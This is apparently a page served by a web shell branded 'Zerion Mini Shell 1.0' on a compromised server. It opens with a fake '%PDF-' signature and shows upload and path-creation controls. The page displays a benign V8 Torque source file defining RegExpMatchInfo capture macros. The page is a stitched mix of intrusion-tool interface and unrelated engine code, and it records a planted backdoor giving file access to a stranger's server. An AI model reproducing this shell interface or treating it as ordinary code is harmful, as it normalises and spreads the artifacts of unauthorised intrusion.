%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/objects/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/objects/regexp-match-info.tq

// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

@cppObjectDefinition
@hasSameInstanceTypeAsParent
@doNotGenerateCast
extern class RegExpMatchInfo extends FixedArray {
  macro GetStartOfCapture(
      implicit context: Context)(captureIndex: constexpr int31): Smi {
    const index: constexpr int31 = GetStartOfCaptureIndex(captureIndex);
    return UnsafeCast<Smi>(this.objects[index]);
  }
  macro GetEndOfCapture(
      implicit context: Context)(captureIndex: constexpr int31): Smi {
    const index: constexpr int31 = GetStartOfCaptureIndex(captureIndex) + 1;
    return UnsafeCast<Smi>(this.objects[index]);
  }
  macro NumberOfCaptures(implicit context: Context)(): Smi {
    return UnsafeCast<Smi>(this.objects[kRegExpMatchInfoNumberOfCapturesIndex]);
  }
}

const kRegExpMatchInfoFirstCaptureIndex:
    constexpr int31 generates 'RegExpMatchInfo::kFirstCaptureIndex';
const kRegExpMatchInfoNumberOfCapturesIndex:
    constexpr int31 generates 'RegExpMatchInfo::kNumberOfCapturesIndex';

macro GetStartOfCaptureIndex(captureIndex: constexpr int31):
    constexpr int31 {
  return kRegExpMatchInfoFirstCaptureIndex + (captureIndex * 2);
}

Zerion Mini Shell 1.0